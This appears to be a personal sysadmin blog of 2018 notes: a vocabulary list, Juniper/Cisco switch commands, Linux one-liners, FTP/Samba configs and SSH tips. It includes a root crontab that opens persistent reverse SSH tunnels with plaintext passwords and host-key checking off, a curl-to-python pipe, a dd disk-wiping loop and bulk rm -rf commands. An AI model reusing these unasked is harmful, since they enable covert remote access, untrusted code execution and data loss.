Wednesday, December 12, 2018

language

but: and yet
economically challenged
dres how you want to feel
stretching the truth: lie
submarine xo: Executive officer

seeing eye dog = guide dog / 導盲犬?
taste like these oysters are turned

play favorites: 偏心
im stuffed: im full

routine

the spirit indeed is willing, but the flesh is weak. Matthew Ch.26:41

brew: 釀(酒)
N/A: Not Applicable, Not Available, No Answer
lesbianing: Two lesbians lesbianing

Duck test: If it looks like a duck, swims like a duck, and quacks like a duck, then it probably is a duck.
tbarbed wire :uffed
deposit vs withdraw:
Beside: at the side of, next to
Besides: in addition to, also. What other types of music do you like besides classical?
coast to coast: U.S., except Guam, Alaska nor Hawaii
Discreet Delivery:
, so this was a welcome change:
schwag: low-grade MJ
Reverse osmosis (water): 逆滲透(水)
Lactose intolerance: 乳糖 + 不耐
paper street: a road or street that appears on maps but does not exist in reality.
2 goes into 3 evenly once, with 1 left over.
When you do something synchronously, you wait for it to finish before moving on to another task. When you do something asynchronously, you can move on to another task before it finishes.

JENSEN WILL BODY FAKER: My man got bodied in 1996, murdered
What is the nature of a business/ what is the nature of the emergency:
shit just get real: shit just get real
if it looks/sounds stupid and it works, it ain't stupid.
Ausfahrt: exit
ampersand: &
cameos: brief appearance or voice part of a known person
clinical trial: medical trial
distinct: different
deliberately: consciously and intentionally; on purpose.
doppelgängers: double?
english can be weird. it can be understood through tough thorough thought, though.
epilogue: end/ sum
greenwich: ɡrɛnɪtʃ, ɡrɪnɪdʒ, ɡrɪnɪtʃ, ɡrɛnɪdʒ, 格林威治
low-stress training: bend stem in an extreme way
no sweat: ez
plummeting: drop
revoke license: cancel, repeal, rescind, withdraw
trigger discipline: how u hold gun in a proper way(n. n.)
you’re on your way: almost there, stick to it, i am with you
a bigger fish: there's always
arbitrary: 随意
augmented: enhance
battalion: 营
behave /misbehave
blockade: ban
blood drawn
blood drawn: drawn yo blood
boredom: boring, bored
canonical: 典范
canopy: cover, top
charades: puzzle
chromosome: 染色體
circumstance: environment, condition
cliché: stereotyped(too mainstream^^)
compromise: 妥协
consecutive: follow-up, after
derived: originate
dicing: v.
dios mío: god my
dismayed: disappointed, frustrated
dispatch: send/ control
diverse: multiple
does a bear shit in the woods: is the pope catholic
dwell: reside
dwell: reside, live
easy peasy japanesey: 
elaborate: narrate, tell
eliminated: wipe out, remove
english can be understood through tough thorough thought, though.
evoke: raise, awake, arouse
explicit: precisely, accurate
explicitly: precisely?
false positive: (fake) positive/ 假陽性
fashion: method, way
feasible: 可行
fiasco: failure
gratuitous: ?
hogger: occupied, seize
humanoids: human-like robot
hype: 炒作
immersive: 身临其境, 
improvise: 凑合, gather
in no time: it means something that will happen very quickly, or very soon; in short time or instantly.
incognito: something like stealth
indespensible: essential
integrity: decent?
internal power struggle: 
intricacy: complexity
maneuver: manoeuvre
mauve: pink + purple
mediocre: average
mi casa es su casa: ma house, ur house, Su is the polite form. You might say su to your mother in law
mi casa es tu casa: ma house, ur house, Tu is the familiar form. You might say tu to your mother.
minors: underage
misc: miscellaneous
mollycoddle: 纵容?
monetize: 赚钱
neglect: ignore
obfuscation: confused, coma
obsolete: stale, old shit
ordnance: army shit
outcome: result
overruled: reject, turn down
parallel: level, 平行, 等高
parallelism: 排比?
parity: price comparing
per se: itself
phillips bits: screwdriver
por favor: plz
poseur: a fucken poser
precedence: priority
pro quo: ?
prone: apt
quid quo pro: "something for something" or "this for that" in latin
replicate: duplicate
resident: permanent
resides: dwell
resides: live, reside, dwell, bide
revoke: repeal, withdraw, cancel
root for some_one
rudder: 舵
scenario: issue
schema: 模式?
second wind: runner's high?
simultaneously: same time
slept already? already sleep? are you still awake? have you woken up?
spurs: 馬刺
student becomes the teacher: 後浪推前浪
subset: 子集
take the cake: r the best
the second-last: second from the last (bottom)
the third-last: third from the last (bottom)
there may be a more elegant way, but this "stone axe" MOVE will work.
topping: cut the growing part at top.
volatile: changeful, fickle, fugitive, inconsistent, inconstant,
vulnerability: week spot
what does xo in the navy shit film mean: executive officer

Thursday, July 26, 2018

network device

# SRX
show security policies hit-count less-than 2

# juniper firmware upgrade
mount_msdosfs /dev/da1s1 /mnt # da1s1
cp /mnt/EX2200-12.3R12-S7.tgz  /var/tmp/
request system software add /var/tmp/EX2200-12.3R12-S7.tgz
request system reboot

# juniper copy current partition to either partition
request system snapshot slice alternate
#request system snapshot media internal slice alternate
reboot # that's how u do it
#request system reboot slice alternate media internal # that's where u're wrong...

# juniper interfaces bulk configuration
set interfaces interface-range RANGE1 member-range ge-0/0/0 to ge-1/0/47
set interfaces interface-range RANGE1 unit 0 family ethernet-switching

# juniper force user logout from juniper
request system logout .....
# juniper read config from copy-past.
load set terminal

#juniper disable  Amber alarm
request system configuration rescue save

#juniper disable Red alarm
set chassis alarm management-ethernet link-down ignore

# fixing juniper "db>"
db> cont
https://kb.juniper.net/InfoCenter/index?page=content&id=KB20635&actp=METADATA


# cisco
cisco#configure
cisco(config)#interface range gigabitEthernet 0/16 - 19
cisco(config-if-range)#no switchport port-security violation protect
cisco(config-if-range)#no switchport port-security mac-address sticky
cisco#show running-config
cisco#copy running-config startup-config


# juniper password reset
hitting "space bar" while boot.
boot -s
recovery

#juniper 
bash  /S/8ex.sh 'show interfaces terse |except \.0  |match ge- |match up\ \ \ \ \up '
show security policies from-zone ZONE1 to-zone ZONE2 policy-name SOMETHINGLIKEZONE1TOZONE2


# cisco
enable
show interface status
enable
show interface brief
enable
show|begine password: show all password configuration
enable
show|include: just like grep, specified case\


# juniper allow package through different path
set security flow tcp-session no-sequence-check
set security flow tcp-session no-syn-check
set security flow allow-dns-reply


# cisco checking mac address
show mac table on cisco+match:show mac-address-table | i 5/34
show mac address+match: sh arp | i FFFF

# juniper stacking, virtual chassis
set no-split-detection
request virtual-chassis vc-port set pic-slot 1 port 0
request virtual-chassis vc-port set pic-slot 1 port 1
# staking is actually ready after above 2 line...
set virtual-chassis preprovisioned
set virtual-chassis no-split-detection
set virtual-chassis member 0 role routing-engine
set virtual-chassis member 0 serial-number ##########
set virtual-chassis member 1 role routing-engine
set virtual-chassis member 1 serial-number ############

# juniper LACP
set interfaces ge-1/0/3 ether-options 802.3ad ae0
set interfaces ae0 aggregated-ether-options lacp active #force up for esxi??
set interfaces ae0 unit 0 family ethernet-switching port-mode trunk
set interfaces ae0 unit 0 family ethernet-switching vlan members all

# juniper Graceful Routing Engine switchover (GRES):
# set virtual-chassis member 0 mastership-priority 255
# set virtual-chassis member 1 mastership-priority 255
# set chassis redundancy graceful-switchover

# MAC authentication with Windows Server 2003
http://kb.juniper.net/InfoCenter/index?page=content&id=KB26996&actp=search

Tuesday, July 17, 2018

linux essential

# copy single file to multiple files.

tee <ORIGINAL_FILE ORIGINAL_FILE2 ORIGINAL_FILE3

# checking public via cli
curl ipinfo.io/ip
#curl -s checkip.dyndns.org
#curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//'

# nmcli
nmcli connection add con-name 10516 ifname enp12s0 type ethernet ip4 a.b.c.d/24 gw4 a.b.c.254

# pip
apt-get install -y libav-tools
pip install --upgrade pip
pip install --upgrade youtube-dl
# eyeD3
eyeD3 --remove-comments --remove-lyrics  --remove-images --remove-all# process & port

# lsof -i
# nmap
nmap --min-parallelism 4096 -p- 8.8.8.8
# nemo cannot handle smb locations # could "smb" be any protocol?
apt install -y gvfs-backends

# useradd -r/ groupadd -r
-r: system account, The password , home directory and other settings from login.defs will not apply to this user. A shell of "/sbin/nologin" prevents anyone from logging in to a service account. Old Unix systems would typically allow daemons and services access to files as root.

#
ss -ant4 # list EST & LISTEN only?
ss -l4tn
ss -ltp # show pid, fd & process name.
ss -x src /var/run/dbus/*
ss -x src /var/run/dbus/system_bus_socket # same as above.
# kibana
hosttype: stock
hostname: stock
#
ss -nA inet
netstat -46n







###prepend
USER@56105 ~ $ cat t1
L1
L2
USER@56105 ~ $ cat t2
LL1
LL2
USER@56105 ~ $ cat t1 |(echo L0 ; cat)
L0
L1
L2

USER@56105 ~ $ cat t1 |(cat t2 ; cat)
LL1
LL2
L1
L2





#############
e530b ~ # service cups stop
Warning: Stopping cups.service, but it can still be activated by:
  cups.path
e530b ~ # ^op^art
service cups start
e530b ~ #
---------------
e530b ~ # systemctl status dhcpd
● dhcpd.service
   Loaded: not-found (Reason: No such file or directory)
   Active: inactive (dead)
e530b ~ # ^dhcpd^gpm
systemctl status gpm
● gpm.service - LSB: gpm sysv init script
#############


reen
right ctrl+enter or f
right ctrl+right alt+right shift+enter




Tools/Preferences. Under the Interface tab you should see the option for System Tray Icon.

rsyslog discard messages
:msg, contains, "Connection from UDP" ~

linux audio: alsa

sudo dpkg -i package_name.deb; sudo apt-get -f install
#################
pip install --upgrade pip
pip install --upgrade setuptools
pip install --upgrade youtube-dl


squid:
|perl  -pe 's/\d+/localtime($&)/e'
nmap --max-parallelism 65535 # or something else

systemd-analyze critical-chain

ll /bin/ |grep bash$
-rwxr-xr-x. 1 root root     960472 Dec  7 07:19 bash
lrwxrwxrwx. 1 root root          4 Mar 14 10:30 sh -> bash


show timestamp  prompt
export PROMPT_COMMAND="echo -n \$(date +%H%M%S)\ "

export PS1="\[\e[34m\]\t\[\e[m\]\[\e[35m\]\u\[\e[m\]\[\e[36m\]\h\[\e[m\]\[\e[31m\]\W\[\e[m\] "


pkill -kill gpm

mount   | column -t
When your typing and you enter a partial word, you can cause Vim to search for a completion by using the ^P (search for previous marching word) and ^N (search for next match).

yum install bind-utils
bind-utils is nice shit
yum provides nslookup
check which package contains nslookup
show filename only:
ls or ls -1

locate session |grep etc

locate cacti.sql
rpm -ql cacti|grep cacti.sql

find / -nouser -o -nogroup 2>/dev/null


apt install -y  remmina remmina-plugin-rdp


show specific line
sed '5!d' FILE
awk 'NR==5' FILE



 file/etc/sysctl.conf


net.ipv4.ip_forward = 1

vim /etc/hostname
NEW HOSTNAME

ip  -c a
compiles                                
apt install -y make intltool wget
bzip2 -cd nmap-7.31.tar.bz2 | tar xvf -
cd nmap-7.31
./configure
make
su root
make install




vim /etc/rsyslog.conf
RepeatedMsgReduction off    # log every message

learning crontab
crontab.guru

vim ~/.bashrc
HISTSIZE=10000
HISTFILESIZE=20000
or just keep the empty string *=

apt  install -y remmina remmina-plugin-rdp
must save the gui config so u can connect due to  unknowing auth.

yum install -y PackageKit-command-not-found

awk -F/ '{print $1}' /tmp/a|xargs apt install -y

dnf install yum utils -y
 package-cleanup --oldkernels --count=1gdebi package.deb

disable vim
line
    line
        line
:set paste vs :set nopaste


grep -A3: and above 3 line
grep -B3: and below 3 line
fsck -ycf /dev/sda1

nmtui
smb://10.1.95.110/software/
run file explorer.
click on "file"
select "connect on server"
easy peasy~
fsck
.bashrc
PS1='\[\033[1;36m\]\u\[\033[1;31m\]@\[\033[1;32m\]\h:\[\033[1;35m\]\w\[\033[1;31m\]\$\[\033[0m\] '
PS1='[\[\e[1;33m\]\u@\[\e[1;35m\]\h:\w\$\[\e[1;36m\] '

.vimrc
:syntax on
#colorscheme
:set hlsearch
:set number
(:set nu)
must systemctl stop services b4 configuring .json.

echo "alias AL=\"apt list |grep -i\"" >> ~/.bashrc
ls  --full-time
Sort entries alphabetically if none of -cftuvSUX nor --sort is specified.
-r, --reverse              reverse order while sorting
-S                         sort by file size, largest first
-t                         sort by modification time, newest first
-u                         with -lt: sort by, and show, access time;




case convert:
|tr '[:upper:]' '[:lower:]'
|tr A-Z a-z

xargs exp.:
 apt list |grep zabbix|grep -v 'libzabbix-api-perl\|pgsql\|proxy'|awk -F/ '{print $1}'|xargs apt install -y


grep -c string a.txt: how many string in a.txt
-n: which line did string locate
-A2: 2 line after string
-B2: 2 line b4 string

grep -iC2 string a.txt
1st line
2nd line
string
3rd line
4th line


sort
-u: uniq
-t: specificate field(-t without space i guess...)
-k: according to which column.
i think sort -u is better then uniq -c
diff -u is better then nothing(-ruN better?)



checking M$ formate or unix formate: cat -A
dos2unix
unix2dos

grep "x\?yz" xyz
grep "x\+" xyz
grep "x\?yz" xyz
grep "x\{2\}" xyz
xxyz
yxxz



ls /e*/s*/n*/i*
ls /etc/sysconfig/network-scripts/i*check DNS


cat emp.txt |grep "\<c"
christina




cat emp.txt |grep "s\>"
chris

systemctl restart ntp
^re^
systemctl start ntp

^a^e: all a change to b

cat /etc/resolv.conf


UUID=fd1d0fad-3a4c-457f-9b5e-eed021cce3d1 /                       ext4    remount,ro        1 1
(read more about fstab dump pass...)
 find . -name "*STRING*" -exec rm -rf {} \;
mind the *


Resume a Stopped Job: fg

grep * > t1 2>&1
grep * &>t1

swapon --summary
grep SwapTotal /proc/meminfo

vim /etc/fstab
UUID=9214D18814D16FA9   /run/media/e/w/ ntfs    defaults        0       0
mount -a    # checking fstab


vim /etc/default/grub

GRUB_DEFAULT=saved
GRUB_SAVEDEFAULT=true
grub-mkconfig >/boot/grub/grub.cfg
vim /etc/systemd/logind.conf
HandleLidSwitch=ignore
systemctl restart systemd-logind.service

sha1sum {file}
sha1sum {file} > {file}.sha1
sha1sum -c {file}.sha1

dpkg-query
*/5    9-16  *  *  1-15

apt list |grep selinux |grep policy
apt-get install -y selinux-policy-default
vim /etc/selinux/config

sysctl net.ipv4.ip_forward
net.ipv4.ip_forward = 0
vim /etc/sysctl.conf
net.ipv4.ip_forward=1

configuring timezone
dpkg-reconfigure tzdata
 /etc/init.d/ntp restart

unlink /"symbolic link"
rm -rf  /"symbolic link"

ln
Create hard  links  by  default,  symbolic  links  with  -s.   By default,  each  destination (name of new link) should not already exist. When creating hard links, each TARGET must exist.  Symbolic links can hold arbitrary text; if later resolved, a relative link is interpreted in relation to its parent directory.


vim /etc/ssh/ssh_config

below "Host *"
ServerAliveInterval 240                                        #depand on the device idle period
ServerAliveCountMax 2


setenforce [ Enforcing | Permissive | 1 | 0 ]

enforcing=0 or selinux=0 while boting will temporarily disable SELinux

lspci -v

nice - n -20  livestreamer "random url" source
nice - n -20  livestreamer

mtime — updated when the file contents change. This is the "default" file time in most cases.
ctime — updated when the file or its metadata (owner, permissions) change
atime — updated when the file is read

/var/spool/cron/"user crontab location"

/etc/systemd/logind.conf

youtube-dl -x --audio-format best --audio-quality 0  https://www.youtube.com/watch?v=JwkC8WaN5T4

dnf grouplist hidden
dnf grouplist -v hidden

find iname: ignore cases
find -perm 666: exact rwrwrw permission
find -perm -666: at least wrwrwr permissions find -perm /666: at least wrwrwr permissions

ln
Create hard  links  by  default,  symbolic  links  with  --symbolic.   By default,  each  destination (name of new link) should not already exist.  When creating hard links, each TARGET must exist.

dnf history rollback

vim /etc/sudoers
someone ALL =(ALL) ALL

lscpu
cat /proc/cpuinfo

[root@localhost etc]# cat /etc/sysconfig/desktop
PREFERRED=/usr/bin/cinnamon-session
DISPLAYMANAGER=/usr/sbin/lightdm
[root@localhost etc]# vim /etc/lightdm/lightdm.conf

a leading "-" is not required for tar
p: preserve the permissions
c: creat an archive
t: list contents
x: extract
f: file name
z: gzip
gzip>xz>bzip2
compress exp.: tar czf source destination
extract exp.: tar xzf file.tar.gz
extract tar: tar xf file.tar

iptables -I INPUT -p tcp --dport 51413 -j ACCEPT

uuidgen eth0

http://li.nux.ro/download/nux/dextop/el7/x86_64/

release swap:
swapoff -a
swapon -a


Ctrl+a: jump to beginning of the command line
Ctrl+e: jump to end of the command line
Ctrl+u: clean from cursor to beginning
Ctrl+k: clean from cursor to end.
Ctrl+r: search from history
Ctrl+Left Arrow  Jump to the beginning of the previous word on the command li ne.
Ctrl+Right Arrow  Jump to the beg inning of the next word on the command line.

sed remove line if pattern matched
sed -i '/pattern/d' file

[root@4 e]# date +%R
09:57
[root@4 e]# date +%x
05/12/2016
tar -xf file -c /path

echo 1 > /proc/sys/kernel/sysrq
echo b > /proc/sysrq-trigger

Adding timestamps to terminal prompts
echo export PROMPT_COMMAND="echo -n \[\$(date +%H:%M:%S)\]\ "  > ~/.bashrc
export PROMPT_COMMAND="echo -n \[\$(date +%H:%M:%S)\]\ "


Device eth0 does not seem to be present, delaying initialization.
cat /proc/net/dev
vim /etc/udev/rules.d/70-persistent-net.rules
or delete above and reboot

grep file foo | while read line ; do echo "$line" ; done
grep file foo | while read  ; do echo "$line" ; done

nmap
-O: check os
-sL: check hostname
-Pn: assume the host is up
-A: aggressive
-FT4: fastscan

find . -delete -name "*.php"
find . -name "*.php" | xargs /bin/rm -rf
find / -name *zabbix*  | xargs /bin/rm -rf grep -r --exclude-dir=proc  eee --exclude-dir=sys --exclude-dir=dev  --exclude-dir=mnt  --exclude-dir=media  --exclude-dir=tmp

sort -k3

du -h --max-depth=1
df -h
lsblk

ls
-t mtime
-S size
-r reverse

find string in the file
grep  /tmp  -re "repo"

send mail via postfix
echo "This is a test." | mail -s "test message" user@example.net

sort with column

 cat /etc/shadow |sort -t: -k 2
-t = separate with " ", "-", ":" or ";"
-k column

"systemctl restart" command starts a service plus it also starts the dependent services
"systemctl start" command starts the service but it does not starts the dependent services What

enter single user mode
kernel /vmlinuz-2.6.15-27-386 root=/dev/mapper/Ubuntu-root rw init=/bin/bash
                                                                                                rw single

logrotate
vim /etc/logrotate.conf
rotate 48
daily
weekly
monthly
yearly

size 100k
size 100M
size 100G

config timezone in Debian
dpkg-reconfigure tzdata

find modified file past 1 min
find /target_directory -type f -mmin -1

install without NB power option
"Tab" while boot
nofb apm=off acpi=off pci=noacpi

mkdir create directory recursively
mkdir -p folder1/folder2/folder3

Sunday, June 10, 2018

Linux Mint Keyboard Shortcuts

Lock The Screen (CTRL, ALT, L)
Log Out (CTRL, ALT, DELETE)
Maximise A Window (ALT, F10)
Move A Window To A Worksapce To The Right (SHIFT, CTRL, ALT, RIGHT)
Move A Window To A Workspace To The Left (SHIFT, CTRL, ALT, LEFT)
Move A Window To The Bottom Monitor (SHIFT, SUPER, DOWN)
Move A Window To The Left Monitor (SHIFT, SUPER, LEFT)
Move A Window To The Right (SHIFT, SUPER, RIGHT)
Move A Window To The Top Monitor (SHIFT, SUPER, UP)
Move To The Workspace To The Left (CTRL ALT, LEFT)
Move To The Workspace To The Right (CTRL, ALT, RIGHT)
Open A Terminal Window (CTRL, ALT, T)
Open The File Explorer At Your Home Folder (SUPER, E)
Open The Run Dialog (ALT, F2)
Record The Desktop (SHIFT, CTRL, ALT, R)
#Restart The Cinnamon Desktop (CTRL, ALT, ESCAPE)
#Show The Desktop (SUPER, D)
#Shut Down The System (CTRL, ALT, END)
Take A Screenshot (PRTSC) (CTRL, PRTSC)
Take A Screenshot Of A Window (ALT, PRTSC) (CTRL, ALT, PRTSC)
Take A Screenshot Of Part Of The Screen (SHIFT, PRTSC) (CTRL, SHIFT, PRTSC)

Tuesday, June 5, 2018

disable mouse usage in vim

its not in the "/etc/vim/vimrc", its in the "/usr/share/vim/vim80/defaults.vim"

"set mouse=a" to "set mouse-=a"

Thursday, May 31, 2018

speed test via bash

curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py | python -

Tuesday, May 29, 2018

a crontab bkup

*/1 * * * *     e    bash /opt/.WTFamIdoing2.sh
*/1 * * * *     e    bash /opt/FLOW.FW.sh
1 * * * *       root ps -ef | grep UR_IP_ADDRESS | grep -v grep | awk '{print $2}' | xargs kill -9
2 * * * *       root rm -rf ~/.ssh/known_hosts ;sshpass  -p UR_PASSWORD ssh -NR LOCAL_NEW_PORT:127.0.0.1:22 USER@UR_IP_ADDRESS  -o StrictHostKeyChecking=no -pLOCAL_SSH_PORT
3 * * * *       root /usr/bin/ssh -NfR LOCAL_NEW_PORT:127.0.0.1:LOCAL_SSH_PORT USER@UR_IP_ADDRESS  -o StrictHostKeyChecking=no -pSOME_WEIRD_PORT
3 * * * *       root rm -rf ~/.ssh/known_hosts ;sshpass  -p UR_PASSWORD ssh -pLOCAL_SSH_PORT -NfD SOME_WEIRD_PORT USER@UR_IP_ADDRESS  -o StrictHostKeyChecking=no -pLOCAL_SSH_PORT
5 1 * * 1       root /opt/RUCKUS_PASSWORD_MODIFY.sh
@reboot root /usr/bin/ssh -NfR LOCAL_NEW_PORT:127.0.0.1:LOCAL_SSH_PORT USER@UR_IP_ADDRESS  -o StrictHostKeyChecking=no -pSOME_WEIRD_PORT
@reboot root rm -rf ~/.ssh/known_hosts ;sshpass  -p UR_PASSWORD ssh -NR LOCAL_NEW_PORT:127.0.0.1:22 USER@UR_IP_ADDRESS  -o StrictHostKeyChecking=no -pLOCAL_SSH_PORT
@reboot         root rm -rf ~/.ssh/known_hosts ;sshpass  -p UR_PASSWORD ssh -pLOCAL_SSH_PORT -NfD SOME_WEIRD_PORT USER@UR_IP_ADDRESS  -o StrictHostKeyChecking=no -pLOCAL_SSH_PORT

Wednesday, March 7, 2018

vsftpd.conf

#banned_email_file=/etc/vsftpd.banned_emails
#chown_username=whoever
#chroot_list_file=/etc/vsftpd.chroot_list
#nopriv_user=ftpsecure
anon_mkdir_write_enable=NO
anon_upload_enable=NO
anonymous_enable=NO
#ascii_download_enable=NO
#ascii_upload_enable=NO
async_abor_enable=NO
#chown_uploads=NO
#chroot_list_enable=NO
#chroot_local_user=NO
connect_from_port_20=YES
data_connection_timeout=30
dirmessage_enable=YES
#ftpd_banner=DietPi FTP
idle_session_timeout=60
listen=YES
#listen_ipv6=NO
local_enable=YES
local_root=/DIRECTORY
local_umask=022
#ls_recurse_enable=YES
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/private/vsftpd.pem
secure_chroot_dir=/DIRECTORY
use_localtime=YES
userlist_deny=YES
write_enable=YES
#xferlog_enable=NO
#xferlog_file=/var/log/vsftpd.log
#xferlog_std_format=YES

[DietPi]
#banned_email_file=/etc/vsftpd.banned_emails
#chown_username=whoever
#chroot_list_file=/etc/vsftpd.chroot_list
#nopriv_user=ftpsecure
anon_mkdir_write_enable=NO
anon_upload_enable=NO
anonymous_enable=NO
ascii_download_enable=NO
ascii_upload_enable=NO
async_abor_enable=NO
chown_uploads=NO
chroot_list_enable=NO
chroot_local_user=NO
connect_from_port_20=YES
data_connection_timeout=30
dirmessage_enable=YES
ftpd_banner=DietPi FTP
idle_session_timeout=60
listen=YES
listen_ipv6=NO
local_enable=YES
local_root=/mnt/dietpi_userdata
local_umask=022
ls_recurse_enable=YES
pam_service_name=vsftpd
rsa_cert_file=/etc/ssl/private/vsftpd.pem
secure_chroot_dir=/var/run/vsftpd/empty
use_localtime=YES
userlist_deny=YES
write_enable=YES
xferlog_enable=NO
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES


samba - smb.conf

[global]
security = user
socket options = TCP_NODELAY
#nt pipe support = no
workgroup = WORKGROUP
[smb]
browseable = n o
create mask = 0770
directory mask = 0770
hosts allow = 192.168.0.
hosts deny = 0.0.0.0/0
path = /DIRECTORY
read only = y e s
valid users = USER4SAMBA

Wednesday, February 14, 2018

misc

# py
https://drive.google.com/drive/folders/1OERBi1fx7vQf_C28ZOMRdjy5k0gyseac?usp=sharing

# pdf

https://drive.google.com/open?id=0B-fMQj8LMdzRVHRWQlNkaU55REU

# app

https://drive.google.com/drive/folders/0B-fMQj8LMdzRMWtodzJiLV9kMFk?usp=sharing

Thursday, January 25, 2018

ssh

# ssh-copy-id in the hard way.
cat ~/.ssh/id_rsa.pub | ssh <user>@<hostname> 'cat >> .ssh/authorized_keys && echo "Key copied"'

# "Could not open a connection to your authentication agent"
# "sign_and_send_pubkey: signing failed: agent refused operation"
ssh-add ~/.ssh/id_rsa

# ssh proxy? # the key is L
ssh -NfL PORT_ON_127.0.0.1:DESTINATION:22 PROXY_SERVER_IP?

#ssh without ssh-copy-id  nor autossh
#mind the \t and space

#!/usr/bin/python
# simplest builtin python pseudo-tty for ssh password. meuh
# http://unix.stackexchange.com/a/276385/119298
import os
def run(cmd,*args):
    pid, fd = os.forkpty()
    if pid==0: # child
        os.execlp(cmd,*args)
    while True:
        data = os.read(fd,1024)
        print data
        if "password:" in data:    # ssh prompt
            os.write(fd,"mypassword\n")
        elif data.endswith("$ "):  # bash prompt for input
            os.write(fd,"echo hello\n")
            os.write(fd,"echo bye\n")
            os.write(fd,"exit\n")

run("ssh", "ssh", "user@remote")


# dev
sshuttle --dns -r USER@127.0.0.1:22 0/0

###login without password without ssh-copy-id
ssh-keygen on local host and  cp .ssh(644)/id_rsa.pub content to remote host:~/.ssh/authorized_keys(600) (or check the auth key location in /etc/ssh/sshd_conf!@#$...)



u cannot "ip a" or it well show ip command not found, u should /sbin/i
sshpass  -p 'UR_PASSWORD' ssh -tt -o StrictHostKeyChecking=no   UR_ID@SERVER_IP sshpass  -p 'SERVER_PASSWORD' ssh -tt   2ND_SERVER "/sbin/ip a >>/tmp/b"






"Pseudo-terminal will not be allocated because stdin is not a terminal"
ssh -T( -t is useless)

ServerAliveInterval: number of seconds that the client will wait before sending a null packet to the server (to keep the connection alive).

ClientAliveInterval: number of seconds that the server will wait before sending a null packet to the client (to keep the connection alive).

Setting a value of 0 (the default) will disable these features so your connection could drop if it is idle for too long.

ServerAliveInterval seems to be the most common strategy to keep a connection alive. T


ssh tunnel need no "net.ipv4.ip_forward=1"



Unable to negotiate with 10.1.16.5 port 22: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1
(cisco using weak ssh as default but openssh doesn't support it)

 ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@ip


/etc/ssh/ssh_config
~/.ssh/config
Host *
ServerAliveInterval 300
ServerAliveCountMax 2
/etc/ssh/sshd_config:
ClientAliveInterval 300
ClientAliveCountMax 2


ssh -R  66666(new_port_on_remote_host):127.0.0.1:22(local_ssh_port) remote_ip -p 99999(remote_ssh_port)
need no IPv4 forward.

ssh-keygen
ssh-copy-id -i ~/.ssh/id_rsa.pub 192.168.0.104 -p99999
ssh 192.165.0.104 -p99999

Monday, January 22, 2018

ls, vim, sort, cat, sed cat, & awk

# delete all line in vim
:1,$d # starting at line 1, until the end of the line, delete.
# Strip HTML tags
sed -e 's/<[^>]*>//g'
# grep with or without "tab character"
|grep  -P "\t"
# sed, why
s/\(<td>\).*\(<\/td>\)/<td>TEXT_TO_REPLACE_BY<\/td>/g

# Unless boom is found replace aaa with bb# sed remove html tags
 '/boom/!s/aaa/bb/' file.txt

curl www.gnu.org | sed 's/<\/*[^>]*>//g'

# something...
cat > /tmp/h/a <<EOF

cassandra   soft   nofile   100000
cassandra   hard   nofile   100000
cassandra   soft   nproc    32768
cassandra   hard   nproc    32768
cassandra   soft   stack    10240
cassandra   hard   stack    32768
cassandra   hard   memlock  unlimited
cassandra   soft   memlock  unlimited

EOF
cat /tmp/h/a
cassandra   soft   nofile   100000
cassandra   hard   nofile   100000
.
.
.

# replace STRING1 to STRING2 if line contain STRING3
for i in $(cat STRING_LIST) ; do sed -i "/${i}/s/STRING1 /STRING2 /" FILE_U_WANT_TO_MODIFY  ; done

for i in $(cat ip) ; do sed -i "/${i}/s/host /#host /" 184.conf  ; done
# cat ip
10.1.112.34
10.1.112.35
10.1.120.210

while read p; do  sed -i "/${p}/d"  FILE.TXT ; done < STRING.TXT

sed '/STRINGS/d' FILE.TXT

while read p; do  sed "/${p}/s/host /#host /g" FILE1.TXT; done < STRING.TXT   |grep IPADDRESS

sort by 3rd field, separator=":"
sort -k3 -t:

sed 's/[()]//g': remove "()"

cat /etc/passwd|sed 's/qemu/& and kvm/'

sed '5!d' FILE
awk 'NR==5' FILE

sed remove line if pattern matched
sed -i '/pattern/d' file

# vim delete all line
:0,$d

# sed replacing string
grep -R gpgcheck /etc/yum.repos.d/* |awk -F: '{print $1}' |xargs sed -i 's/gpgcheck\=1/gpgcheck\=0/g'

-b, --ignore-leading-blanks  ignore leading blanks
-d, --dictionary-order   consider only blanks and alphanumeric characters
-f, --ignore-case    fold lower case to upper case characters
-g, --general-numeric-sort  compare according to general numerical value
-i, --ignore-nonprinting   consider only printable characters
-M, --month-sort compare  (unknown) < 'JAN' < ... < 'DEC'
-h, --human-numeric-sort  compare human readable numbers (e.g., 2K 1G)
-n, --numeric-sort    compare according to string numerical value
-R, --random-sort    sort by random hash of keys
--random-source=FILE   get random bytes from FILE
-r, --reverse     reverse the result of comparisons
--sort=WORD    sort according to WORD:
-V, --version-sort    natural sort of (version) numbers within text
-u, --unique     with -c, check for strict ordering;

ls
-c: sort by ctime
-r: reverse
-t: sort by mtime
-u:sort by access time?
-X: sort by alphabetically

Wednesday, January 17, 2018

scrapy


# [boto] DEBUG: Retrieving credentials from metadata server.
# [boto] ERROR: Caught exception reading instance data
# [boto] ERROR: Unable to read instance data, giving up

vim  .SCRAPY/tutorial/tutorial/settings.py
DOWNLOAD_HANDLERS = {'s3': None}

ansible

ssh-keygen
cp -a .ssh/id_rsa.pub .ssh/authorized_keys
ansible-lint  playbook.yml
ansible-playbook  -i inventory playbook.yml

sentence structure

One of these balls is blue, aren't they? (and this is correct)
One of us is wrong, aren't we?

script essential

# find

rm -rf /tmp/.DIFF*
sshpass -p PASSWORD ssh -o StrictHostKeyChecking=no USER@IP "show ethernet-switching table"|awk '{print $5}' |grep ge- |sort >/tmp/.DIFF1
read -p "Press enter to continue"
sshpass -p PASSWORD ssh -o StrictHostKeyChecking=no USER@IP "show ethernet-switching table"|awk '{print $5}' |grep ge- |sort >/tmp/.DIFF2
diff /tmp/.DIFF1 /tmp/.DIFF2

# kinda do 2 things @ a time
while true ; do echo a >> /tmp/a ; sleep  1 ; done

# dd
for i in b c d e ; do dd if=/dev/zero of=/dev/sd$i bs=88888888 count=1 ;done

# systemctl start mariadb
systemctl is-active mariadb  > /dev/null 2>&1
if [ $? -ne 0 ] ; then
systemctl start mariadb
else
systemctl stop mariadb
fi


# mysqldump
#!/bin/bash
for A in  $(mysql -e show\ databases |grep -v schem| grep -v Database ) ; do
#echo $A
mysqldump $A >~/$A.dump
done

#zmap+snmpwalk
